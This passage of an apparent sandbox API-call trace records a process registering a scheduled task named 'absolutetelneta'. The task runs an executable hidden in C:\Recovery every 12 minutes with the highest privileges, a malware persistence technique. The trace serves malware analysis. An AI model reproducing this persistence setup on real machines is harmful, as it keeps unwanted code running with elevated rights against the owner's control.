_Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.862] lstrlenW (lpString="|ri|") returned 4 [0146.862] lstrlenW (lpString="|f|") returned 3 [0146.862] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0146.862] SetLastError (dwErrCode=0x490) [0146.862] lstrlenW (lpString="z") returned 1 [0146.862] lstrlenW (lpString="z") returned 1 [0146.863] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.863] lstrlenW (lpString="f") returned 1 [0146.863] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.863] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|z|") returned 3 [0146.863] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.863] lstrlenW (lpString="|z|") returned 3 [0146.863] lstrlenW (lpString="|f|") returned 3 [0146.863] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0146.863] SetLastError (dwErrCode=0x490) [0146.863] lstrlenW (lpString="f") returned 1 [0146.863] lstrlenW (lpString="f") returned 1 [0146.863] _memicmp (_Buf1=0x3cc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.863] lstrlenW (lpString="f") returned 1 [0146.863] _memicmp (_Buf1=0x3cc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.863] _vsnwprintf (in: _Buffer=0x3cc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.863] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c868 | out: _Buffer="|f|") returned 3 [0146.863] lstrlenW (lpString="|f|") returned 3 [0146.863] lstrlenW (lpString="|f|") returned 3 [0146.863] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0146.863] SetLastError (dwErrCode=0x0) [0146.863] SetLastError (dwErrCode=0x0) [0146.863] GetProcessHeap () returned 0x3b0000 [0146.863] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdf0 [0146.863] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.863] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0146.863] lstrlenW (lpString="LIMITED") returned 7 [0146.864] GetProcessHeap () returned 0x3b0000 [0146.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd590 [0146.864] GetThreadLocale () returned 0x409 [0146.864] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0146.864] GetProcessHeap () returned 0x3b0000 [0146.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccdc0 [0146.864] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.864] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0146.864] lstrlenW (lpString="HIGHEST") returned 7 [0146.864] GetProcessHeap () returned 0x3b0000 [0146.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x10) returned 0x3cd5b0 [0146.864] GetThreadLocale () returned 0x409 [0146.864] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0146.864] GetProcessHeap () returned 0x3b0000 [0146.864] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd90 [0146.864] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.865] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0146.865] lstrlenW (lpString="MINUTE") returned 6 [0146.865] GetProcessHeap () returned 0x3b0000 [0146.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd5d0 [0146.865] GetThreadLocale () returned 0x409 [0146.865] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0146.865] SetLastError (dwErrCode=0x0) [0146.865] GetProcessHeap () returned 0x3b0000 [0146.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x1fc) returned 0x3cc460 [0146.865] GetProcessHeap () returned 0x3b0000 [0146.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd60 [0146.865] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.865] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0146.865] lstrlenW (lpString="First") returned 5 [0146.865] GetProcessHeap () returned 0x3b0000 [0146.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xc) returned 0x3cd5f0 [0146.865] GetProcessHeap () returned 0x3b0000 [0146.865] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd30 [0146.866] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.866] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0146.866] lstrlenW (lpString="Second") returned 6 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd610 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3ccd00 [0146.866] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.866] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0146.866] lstrlenW (lpString="Third") returned 5 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xc) returned 0x3cd630 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x20) returned 0x3cccd0 [0146.866] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.866] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0146.866] lstrlenW (lpString="Fourth") returned 6 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd650 [0146.866] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.866] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0146.866] lstrlenW (lpString="Last") returned 4 [0146.866] GetProcessHeap () returned 0x3b0000 [0146.866] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xa) returned 0x3cd670 [0146.867] lstrlenW (lpString="12") returned 2 [0146.867] _wtol (_String="12") returned 12 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0146.867] lstrlenW (lpString="First") returned 5 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0146.867] lstrlenW (lpString="Second") returned 6 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0146.867] lstrlenW (lpString="Third") returned 5 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0146.867] lstrlenW (lpString="Fourth") returned 6 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0146.867] lstrlenW (lpString="Last") returned 4 [0146.867] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c6e0, cchData=128 | out: lpLCData="0") returned 2 [0146.867] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.867] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0146.867] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0146.867] GetProcessHeap () returned 0x3b0000 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0) returned 1 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd5f0) returned 0xc [0146.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd5f0 | out: hHeap=0x3b0000) returned 1 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd5f0 [0146.868] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x25c700, cchData=128 | out: lpLCData="0") returned 2 [0146.868] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0146.868] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0146.868] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610) returned 1 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd610) returned 0xe [0146.868] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd610 | out: hHeap=0x3b0000) returned 1 [0146.868] GetProcessHeap () returned 0x3b0000 [0146.868] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x16) returned 0x3cd610 [0146.868] GetLocalTime (in: lpSystemTime=0x25c930 | out: lpSystemTime=0x25c930*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x8, wMilliseconds=0x3c8)) [0146.868] lstrlenW (lpString="") returned 0 [0146.868] GetLocalTime (in: lpSystemTime=0x25d1e8 | out: lpSystemTime=0x25d1e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x8, wMilliseconds=0x3c8)) [0146.869] lstrlenW (lpString="") returned 0 [0146.869] lstrlenW (lpString="") returned 0 [0146.869] lstrlenW (lpString="") returned 0 [0146.869] lstrlenW (lpString="") returned 0 [0146.869] lstrlenW (lpString="12") returned 2 [0146.869] _wtol (_String="12") returned 12 [0146.869] lstrlenW (lpString="") returned 0 [0146.869] lstrlenW (lpString="") returned 0 [0146.869] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0146.918] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0146.950] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x25cfb0 | out: ppv=0x25cfb0*=0x1d7b80) returned 0x0 [0147.049] TaskScheduler:ITaskService:Connect (This=0x1d7b80, serverName=0x25d090*(varType=0x8, wReserved1=0x25, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x25d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x25d070*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0147.146] TaskScheduler:IUnknown:AddRef (This=0x1d7b80) returned 0x2 [0147.146] TaskScheduler:ITaskService:GetFolder (in: This=0x1d7b80, Path=0x0, ppFolder=0x25d148 | out: ppFolder=0x25d148*=0x1d7db0) returned 0x0 [0147.190] TaskScheduler:ITaskService:NewTask (in: This=0x1d7b80, flags=0x0, ppDefinition=0x25d140 | out: ppDefinition=0x25d140*=0x1d7e00) returned 0x0 [0147.190] ITaskDefinition:get_Actions (in: This=0x1d7e00, ppActions=0x25d0c0 | out: ppActions=0x25d0c0*=0x1d7ec0) returned 0x0 [0147.190] IActionCollection:Create (in: This=0x1d7ec0, Type=0, ppAction=0x25d0e0 | out: ppAction=0x25d0e0*=0x1d6750) returned 0x0 [0147.191] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0147.191] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0147.191] lstrlenW (lpString=" ") returned 1 [0147.191] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0147.191] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0147.192] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0147.193] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0147.194] IUnknown:Release (This=0x1d6750) returned 0x1 [0147.194] IUnknown:Release (This=0x1d7ec0) returned 0x1 [0147.194] ITaskDefinition:get_Triggers (in: This=0x1d7e00, ppTriggers=0x25cc40 | out: ppTriggers=0x25cc40*=0x1d7f40) returned 0x0 [0147.194] ITriggerCollection:Create (in: This=0x1d7f40, Type=1, ppTrigger=0x25cc38 | out: ppTrigger=0x25cc38*=0x1d67c0) returned 0x0 [0147.194] lstrlenW (lpString="12") returned 2 [0147.194] _vsnwprintf (in: _Buffer=0x25cbc0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x25cbb8 | out: _Buffer="PT12M") returned 5 [0147.194] ITrigger:get_Repetition (in: This=0x1d67c0, ppRepeat=0x25cc30 | out: ppRepeat=0x25cc30*=0x1d6850) returned 0x0 [0147.195] IRepetitionPattern:put_Interval (This=0x1d6850, Interval="PT12M") returned 0x0 [0147.195] IUnknown:Release (This=0x1d6850) returned 0x1 [0147.195] _vsnwprintf (in: _Buffer=0x25cb80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x25cb58 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0147.195] ITrigger:put_StartBoundary (This=0x1d67c0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0147.195] lstrlenW (lpString="") returned 0 [0147.195] lstrlenW (lpString="") returned 0 [0147.195] lstrlenW (lpString="") returned 0 [0147.195] lstrlenW (lpString="") returned 0 [0147.195] IUnknown:Release (This=0x1d67c0) returned 0x1 [0147.195] IUnknown:Release (This=0x1d7f40) returned 0x1 [0147.195] ITaskDefinition:get_Settings (in: This=0x1d7e00, ppSettings=0x25d0e0 | out: ppSettings=0x25d0e0*=0x1d6530) returned 0x0 [0147.196] lstrlenW (lpString="") returned 0 [0147.196] IUnknown:Release (This=0x1d6530) returned 0x1 [0147.196] GetLocalTime (in: lpSystemTime=0x25cf98 | out: lpSystemTime=0x25cf98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x9, wMilliseconds=0x128)) [0147.196] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0147.196] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0147.196] GetUserNameW (in: lpBuffer=0x25cfc0, pcbBuffer=0x25cfa8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x25cfa8) returned 1 [0147.196] ITaskDefinition:get_RegistrationInfo (in: This=0x1d7e00, ppRegistrationInfo=0x25cf90 | out: ppRegistrationInfo=0x25cf90*=0x1d6470) returned 0x0 [0147.197] IRegistrationInfo:put_Author (This=0x1d6470, Author="") returned 0x0 [0147.197] _vsnwprintf (in: _Buffer=0x25cfc0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x25cf58 | out: _Buffer="2022-08-06T02:19:09") returned 19 [0147.197] IRegistrationInfo:put_Date (This=0x1d6470, Date="") returned 0x0 [0147.197] IUnknown:Release (This=0x1d6470) returned 0x1 [0147.197] malloc (_Size=0x18) returned 0x1d7d40 [0147.197] free (_Block=0x1d7d40) [0147.197] lstrlenW (lpString="") returned 0 [0147.197] ITaskDefinition:get_Principal (in: This=0x1d7e00, ppPrincipal=0x25d1b0 | out: ppPrincipal=0x25d1b0*=0x1d66a0) returned 0x0 [0147.198] IPrincipal:put_RunLevel (This=0x1d66a0, RunLevel=1) returned 0x0 [0147.198] IUnknown:Release (This=0x1d66a0) returned 0x1 [0147.198] malloc (_Size=0x18) returned 0x1d7d40 [0147.198] ITaskFolder:RegisterTaskDefinition (in: This=0x1d7db0, Path="absolutetelneta", pDefinition=0x1d7e00, flags=6, UserId=0x25d230*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x25d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x25f140, varVal2=0xfe), LogonType=3, sddl=0x25d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x25d150 | out: ppTask=0x25d150*=0x1d6a20) returned 0x0 [0148.252] free (_Block=0x1d7d40) [0148.252] _memicmp (_Buf1=0x3cbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0148.252] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x3cd2f0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0148.252] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0148.252] GetProcessHeap () returned 0x3b0000 [0148.252] GetProcessHeap () returned 0x3b0000 [0148.252] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd630) returned 1 [0148.252] GetProcessHeap () returned 0x3b0000 [0148.252] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd630) returned 0xc [0148.253] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd630 | out: hHeap=0x3b0000) returned 1 [0148.253] GetProcessHeap () returned 0x3b0000 [0148.253] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x82) returned 0x3e9d80 [0148.253] _vsnwprintf (in: _Buffer=0x25d890, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x25d0f8 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0148.253] _fileno (_File=0x7fefed02ab0) returned -2 [0148.253] _errno () returned 0x1d4bb0 [0148.253] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0148.253] SetLastError (dwErrCode=0x6) [0148.253] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0148.253] GetConsoleOutputCP () returned 0x0 [0148.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0148.253] GetConsoleOutputCP () returned 0x0 [0148.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0148.253] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 77 [0148.254] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0148.254] IUnknown:Release (This=0x1d6a20) returned 0x0 [0148.254] TaskScheduler:IUnknown:Release (This=0x1d7e00) returned 0x0 [0148.254] TaskScheduler:IUnknown:Release (This=0x1d7db0) returned 0x0 [0148.254] TaskScheduler:IUnknown:Release (This=0x1d7b80) returned 0x1 [0148.254] lstrlenW (lpString="") returned 0 [0148.254] lstrlenW (lpString="12") returned 2 [0148.254] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.254] GetProcessHeap () returned 0x3b0000 [0148.254] GetProcessHeap () returned 0x3b0000 [0148.254] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc460) returned 1 [0148.254] GetProcessHeap () returned 0x3b0000 [0148.254] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc460) returned 0x1fc [0148.254] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc460 | out: hHeap=0x3b0000) returned 1 [0148.257] GetProcessHeap () returned 0x3b0000 [0148.257] GetProcessHeap () returned 0x3b0000 [0148.257] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230) returned 1 [0148.257] GetProcessHeap () returned 0x3b0000 [0148.257] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cc230) returned 0x6 [0148.258] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc230 | out: hHeap=0x3b0000) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd550) returned 1 [0148.258] GetProcessHeap () returned 0x3b0000 [0148.258] RtlSizeHeap (HeapHandle=0x3b0000, Flags=0x0, MemoryPointer=0x3cd550) returned 0x16 [0148.258] HeapFree (in: 